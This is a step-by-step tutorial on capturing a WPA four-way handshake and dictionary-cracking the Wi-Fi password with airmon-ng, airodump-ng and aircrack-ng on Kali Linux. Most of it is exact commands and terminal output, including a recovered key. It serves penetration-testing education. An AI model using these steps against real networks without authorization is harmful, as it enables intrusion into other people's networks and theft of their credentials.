In this tutorial, we use 'aircrack-ng' in Kali Linux to crack a WPA wifi network.
Perform the following steps on the Kali Linux machine.
1) Disconnect from all wireless networks.
2) Verify that your wireless card supports monitor mode.
root@kali:~# airmon-ng
Interface Chipset Driver
wlan0 Atheros AR9285 ath9k - [phy0]
If your wireless card is not listed above, then it does not support monitor mode and you cannot continue.
3) Enable Monitor mode
root@kali:~# airmon-ng start wlan0
Found 2 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
-e
PID Name
2550 NetworkManager
2658 wpa_supplicant
Interface Chipset Driver
wlan0 Atheros AR9285 ath9k - [phy0]
(monitor mode enabled on mon0)
Note the name of the new monitor interface, mon0
4) Disable wireless card from connecting to the internet, allowing it to focus on monitor mode instead.
root@kali:~# ifconfig wlan0 down
5) List all the wireless networks in range.
root@kali:~# airodump-ng mon0
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
54:B8:0A:89:76:4E -33 16 10 4 1 54e WPA TKIP PSK SHABBIR
94:D7:23:0C:09:20 -77 20 51 0 11 54e WPA CCMP PSK MTNL
9C:D6:43:CC:04:B8 -80 11 0 0 2 54e. WPA2 CCMP PSK dlink
10:7B:EF:A6:26:80 -80 3 0 0 11 54e WPA2 CCMP PSK TATA
Locate your network. Press Ctrl+C to stop the process. And note down the BSSID and CH (channel).
6) Monitor only the target network and wait for a device to connect to the network and then capture the four-way handshake.
root@kali:~# airodump-ng -c 1 --bssid 54:B8:0A:89:76:4E -w Desktop/wpa mon0
Where,
-c 1 -> channel of network is 1 (as seen in the previous output)
--bssid 54:B8:0A:89:76:4E -> BSSID copied from the previous output (The MAC address of the Access Point).
-w Desktop/wpa -> file name where the handshake will be saved.
mon0 -> the monitor interface
7) What we are really doing now is waiting for a device to connect to the network, so that we can capture the four-way handshake which we need in order to crack the password. Also, four files will show up on your desktop. This is where the handshake will be saved.
When a device connects to the network, the following message appears on the airodump screen "WPA handshake: 54:B8:0A:89:76:4E" as shown below:
CH 1 ][ Elapsed: 32 s ][ 2015-06-22 09:56 ][ WPA handshake: 54:B8:0A:89:76:4E
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
54:B8:0A:89:76:4E -29 1 314 6 0 1 54e WPA TKIP PSK SHABBIR
BSSID STATION PWR Rate Lost Frames Probe
54:B8:0A:89:76:4E 0C:EE:E6:C0:37:43 -26 1e-54 0 9
The handshake has been captured. Press Ctrl+C on the airodump terminal to stop monitoring the network.
8) Launch the process of cracking the password. However, it will only crack it if the password happens to be in the wordlist that you have selected.
root@kali:~# aircrack-ng -a2 -b 54:B8:0A:89:76:4E -w /usr/share/wordlists/fern-wifi/common.txt Desktop/*.cap
Opening Desktop/wpa-04.cap
Reading packets, please wait...
Aircrack-ng 1.2 beta3
[00:00:00] 4 keys tested (254.57 k/s)
KEY FOUND! [ goodadmin ]
Master Key : 9A CD 12 5D 29 22 11 C7 6A 3D 75 0D 9D A7 76 C1
F1 2A 9B 9A 57 DD A9 EA 11 26 B0 EB 40 09 1E EB
Transient Key : 5A 15 F5 AD 5A F6 1F 00 78 F5 5F 0F 87 46 8C 81
DA 1F B4 8B 7C B2 C9 24 4B 63 6D EF 64 88 30 67
66 E4 5E 30 5E 4C C1 E1 F5 47 8A 7F AE F0 A6 FB
BF 7B 9E A6 AB ED B6 1B 43 15 43 D1 EF 6E C2 49
EAPOL HMAC : 79 56 57 C1 85 7D D8 A4 CD 89 B3 34 A5 36 D0 77
Where,
-a is the method used to crack the handshake. 2=WPA method
-b is the BSSID of the target access point
-w is the path to the wordlist
Desktop/*.cap is the path to the .cap file captured in the handshake.
9) After completing the hack, disable mon0, and enable wlan0 to be able to connect to the Internet.
root@kali:~# ifconfig mon0 down
root@kali:~# ifconfig wlan0 up

